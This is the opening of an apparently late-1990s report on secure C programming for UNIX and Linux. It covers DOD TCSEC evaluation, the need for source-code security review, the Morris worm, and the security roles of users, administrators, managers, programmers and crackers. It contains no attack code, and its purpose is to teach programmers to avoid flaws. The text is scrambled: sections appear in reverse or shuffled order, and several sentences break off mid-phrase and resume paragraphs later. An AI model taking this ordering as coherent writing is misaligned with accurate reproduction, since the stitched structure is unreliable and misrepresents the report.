The confidentiality of a system also determines how well it can withstand attempts to gain access by people who are not authorized to access the system. This is a function of the login programs and password maintenance by the system administrators and users. The network services offered by the system are possible points of entry if the service contains security flaws. This type of attack is characterized by the Morris worm[27]. A debugging option available to network access was used to compromise the integrity of the computer system, and an unauthorized process was able to gain access to the system. Unfortunately the same flaws that allowed the worm to work are replicated in new programs and are still being found in code that has existed for years.

In the UNIX environment, there are built in security mechanisms maintained by the operating system. Access permissions, user and group ownership, and execution privileges are enforced by the operating system on all user processes. Once a user

techniques, the system as a whole would be more secure. Current trends in security penetration rely upon generic flaws in program code. By closing the holes created by sloppiness, laziness, or ignorance, the people who attempt to "crack" system security will have to go to greater lengths to achieve their goals. By requiring more effort to bypass the security, one creates more opportunities to keep crackers off the system. Hopefully someone in a college-level computer science program will be able to read this report and learn to avoid the generic flaws in their own programs.

The last significant party involved in computer security is the one trying to break it, the "crackers." There are several types of people whose goal is to defeat the confidentiality, integrity, or availability of computer systems. Several published sources have categorized these people along various lines, mostly having to do with intent. (See Denning and Landreth in the Works Consulted section at the end of the report.) "Cracker" describes people ranging from an individual whose goal is to learn how the system is put together to groups who try to make a profit from the data they steal from computer systems. For the most part, these people all get their information from each other in the form of mailing lists, bulletin boards or newsgroups, web archives, and from the source code of free software packages that have become mainstream products. Another term for cracker is "hacker." However hacker also includes programmers known for good programming as well as hobbyists in all aspects of computers. The term crackers denotes those persons whose purpose is to defeat the security mechanisms of the system.

The majority of this research involving program code, security exploits, and fixes was done using the same resources used by the crackers. Some of the examples and all of the actual flaws are available by searching through archives that go back many years. Many of the examples of solutions come from those archives as well and have been submitted by well-known programmers and engineers from both the research and commercial communities. Many of the people that we now consider security experts started off either as crackers or as people cleaning up after the crackers. Through this back and forth activity, experience and knowledge of computer security have developed. However, that knowledge is not commonly taught or spread among programmers in training or in practice so the people new to computer security programming have to learn the same way as the experienced programmers.

Some users are also programmers. They write their own computational software and other utilities for dealing with data. In that case, the users also need to know how to avoid security flaws in their code so that they are not exposing their work to theft and destruction or making their accounts open to subversion. System-wide security is not as much a concern for users as preserving the confidentiality, integrity, or availability of their own files. However, most users are not educated in secure programming techniques and do not even consider security an issue. To combat this, system administrators must provide proper educational resources.

The people responsible for maintaining the system and its security range from system administrators up through managers and purchasing officials. The DOD has developed a hierarchy of titles and responsibilities to maintain accountability and security on government systems. Commercial enterprises assign security responsibilities to the existing hierarchy of people who run the system. Either way, there is someone responsible for dealing directly with the computing resources. They are called system administrators, system managers, system analysts, or security officers depending on who names the position. For easy reference we will refer to these people as system administrators.

System administrators have the responsibility of interfacing with users and the system. They create accounts, install software, and generate performance reports. They also interact with the security system to implement and enforce security policies, educate users, and review the audit trails.

In a formal DOD security environment, some administrators are given the title Information System Security Officer (ISSO)[24]. Their specific responsibilities are to interact with all aspects of the security system, enforce the security policies, and respond in case of security incidents. For the personnel assigned these tasks, a knowledge of program security flaws is essential. With it, the general system can be reviewed for problems, and attention can be focused in the areas where penetration attempts are likely to occur. Flaws can be remedied before they are exploited.

Above the system administrators and security officers are the managers. System managers, information managers (MIS) and personnel managers all need to have an understanding of computer security and the reasons it exists. However it is not necessary for managers to understand the technical details in the programming (but it helps). Rather, they need to provide the resources necessary for the administrators and officers to carry out their jobs.

Programmers are generally outside of a system organization (except software development companies). Software developers, system programmers, and even software engineers need to learn and practice the coding techniques that improve system security. If the majority of programs were written using good security

there are more opportunities for system penetration, so application programmers need to be more security conscious.

System utilities are the programs used by the computer or the system administrator to maintain the computing resources. These programs have authority not given to users and should protect that authority. The program should protect the integrity and authority of the system as well as avoid interfering with user's work. Currently, security flaws in the programming of system utilities are the most popular opportunity for security attacks from within the system.

The operating system is the software that makes the hardware operate as a computing environment. It has the highest authority of the entire system and must protect that authority jealously. Security flaws in the operating system expose the entire system to attack. However, in linux the operating system is a single program, the kernel, which has been reviewed heavily. Direct exploitation of the kernel process is not common beyond trying to crash the entire system.

2.2 People

The reason for securing the computer system is so that people can use the resources, trust that the results are correct, and avoid adverse effects to their data and themselves. Computer security is only as trustworthy as the people who implement, maintain, and work within it, so it helps to understand the formal responsibilities of the people involved in computer security. In good computer security systems, these responsibilities are arranged in a hierarchical format where every action on the system is associated with a specific user and every user is responsible for their actions.

People are considered a component of the system. Each type of person on the system has specific responsibilities which are defined by the security implementation, and they must understand the concepts which are the basis for the system's security. For example, standard UNIX security is based on permissions and ownership. To use it requires that the users understand what permissions are and how to modify them. More advanced systems, like multi-level security, require understanding different levels of security and how to change levels. If the security system in place is not used correctly, it cannot protect the system correctly.

Users are the lowest level of people with security responsibilities. Users should be authorized to use the system and that authorization needs to be checked regularly. By allowing a user on the system, a possible window of infiltration is opened, so it is necessary to trust that a user is authenticated and verified.

Once users are on the system, they should immediately be instructed in the system's security practices. After that, users should be held accountable for the actions taken by accounts that they are given. Accountability creates trust between users and between a user and the system personnel.

2. Computer Security Definitions: The System and the People

The field of computer security is very large and includes aspects that have nothing to do with actual computing. Physical security and human resources are two prime examples. Physical security has existed longer than computer security and we commonly associate it with security in an organization. Surveillance cameras, guards, and picture identification make people feel secure in their environment. Human resource management creates security by giving a company or group the tools to ensure that their organization is protected from industrial or political espionage.

Computer security includes both physical security and human resource management, but they cannot provide security inside the computer. So electronic security techniques have been developed. Communications theory, computer theory, and programming are combined to create new tools and techniques to ensure confidentiality, authentication, connectivity, and robustness in the resources that make up a computer system.

The National Security Telecommunications and Information Systems Security (NSTISS) defines computer security as the "measures and controls that ensure confidentiality, integrity, and availability of information system assets including hardware, software, firmware, and information being processed, stored, and communicated[23]." The specific measures are left to the implementers of the system. Some organizations have computer security built into the hardware and software. They also strictly enforce security policies on their user community. However these organizations are rare. The systems purchased by business and research units are generally not built with security as an objective because it is costly to implement. Performance and utility are the money makers of the computer industry, leaving computer security to be chiefly a role of the software.

2.1 Software

Even without focusing on computer security, one can improve a system's security by improving the implementation of the software. The software is the operating system code, the system utility code, and the applications code. If the programming put into these products is improved, overall system security will be improved.

Applications perform actions on behalf of users. Generally these applications are restricted to the user's data and the user's authority. However some applications perform actions for users beyond their authority or on data they normally cannot access. For example, `ftp` reads or writes data on computers where a user might not have a personal account. Setuid programs have the ability to take on the attributes of other users or more privileged users (like root). Regular users execute setuid programs to do operations they normally cannot access. In these situations, the programming of the application needs to be restrictive and controlled so that the user cannot perform actions beyond what is expected. As more applications are becoming network aware,

This research is limited to the C programming language and the linux operating system (Red Hat 4.2). However, the same security flaws that are detailed here exist in all versions of UNIX and are being discovered in Microsoft Windows 95 and NT. The C language is currently the most pervasive system-programming language and some of the flaws are a result of characteristics inherent to C. However using script languages (like perl or shell scripts) or other high level languages is not sufficient to remove security flaws from programs. It will take a conscious effort on the part of programmers and system administrators to achieve this goal.

to the National Security Agency (NSA)[22]. This is surprisingly low in an industry which moves so quickly. Computer security is rising in demand and the DOD's TCSEC program is still used to measure commercial products although it is more than ten years old. Some of the approved products are not even on the market anymore because they have been modified from their evaluated version.

New evaluations and approvals lag far behind the market because there is not a common pool of knowledge in programming and computer security. The same mistakes that were made ten years ago which allowed the Morris worm[27] to partially shutdown a fledgling Internet still occur in new UNIX systems and new commercially available applications. Breaking this cycle requires knowledge and education. There should be an easier way to learn what programming errors or techniques create security flaws.

The purpose of this report is to begin compiling the knowledge necessary to understand and evaluate source code for security flaws. The information is not original; many people have been making use of it for years. However there is no compendium or tutorial of programming skills or techniques that can combat security flaws. Most of this material has been researched from the same sources used by the individuals that develop exploitations. However the emphasis is on programming and not on breaking into computer systems.

Before diving into source code, it helps to define computer security and to understand the positions involved in creating, maintaining, and evaluating the security of a computer system. There are also some general programming techniques that can be used to create a secure program. Section one defines computer security and the people involved in securing and protecting a computer system. Section two defines the DOD's key topics of computer security, confidentiality, integrity, and accessibility.

Section three looks at the programming environment and the initial setup of a secure program. Sections four through six use the topics from section two to catalog the security flaws that are being or have been exploited in UNIX systems. Source code examples from a linux system are provided. Along with examples of the security flaws are solutions for programmers and system administrators. This should provide a core of knowledge for programmers and security personnel who need to write new programs or do source code security evaluations.

The final product of this research is not a program, a prototype, or an original algorithm; rather it is intended to be a beginning. The reader should begin to understand what makes a program insecure and what they can do as a programmer to eliminate the flaws. New flaws are found all the time. Most of the time a new flaw is a variation of an older one or an application of an older flaw to a new program. If programmers can learn to avoid these flaws, perhaps more programs will achieve a higher level of security.

1. Introduction

Computer security is a growing concern to everyone involved in the computer industry. As more information is available online, it is important to protect that information; and as more people work and play online, it is important to protect the resources they use. Computer security is the task of protecting computer information and resources so that the information maintains its integrity, the resources are available, and confidentiality is maintained throughout all computer operations.

The Department of Defense (DOD) has developed a classification system to describe how well systems protect data and resources. At the highest levels of this system is the need to verify source code and binaries. However, there is currently no automatic way to do a code review. There are some techniques that can be implemented using computer utilities; however the job of parsing through a computer program looking for security flaws cannot be done by the computer. A knowledgeable person is required to intervene, make the determination that a flaw exists, is exploitable, and finally, determine what correction needs to be made.

To achieve a higher DOD rating requires verifying the security of the operating system code, the system programs, and the code of applications running on the system. The following section from the DOD Trusted Computer System Evaluation Criteria (TCSEC)[21] establishes this verification as necessary to achieve B1 or higher security level:

> Security Testing
>
> The security mechanisms of the ADP [automatic data processing] system shall be tested and found to work as claimed in the system documentation. A team of individuals who thoroughly understand the specific implementation of the TCB [trusted computing base] shall subject its design documentation, source code, and object code to thorough analysis and testing. Their objectives shall be: to uncover all design and implementation flaws that would permit a subject external to the TCB to read, change, or delete data normally denied under the mandatory or discretionary security policy enforced by the TCB; as well as to assure that no subject (without authorization to do so) is able to cause the TCB to enter a state such that it is unable to respond to communications initiated by other users. All discovered flaws shall be removed or neutralized and the TCB retested to demonstrate that they have been eliminated and that new flaws have not been introduced.

This statement outlines the need for security personnel who can read source code, find the flaws that create security holes in the system, and correctly fix the flaws. Every computer vendor and organization that wishes to gain the B1 or higher rating for their product must undergo this review. The higher the rating being tested, the more encompassing the review must be.

Currently there are only thirty-three products that have a B1 or higher rating according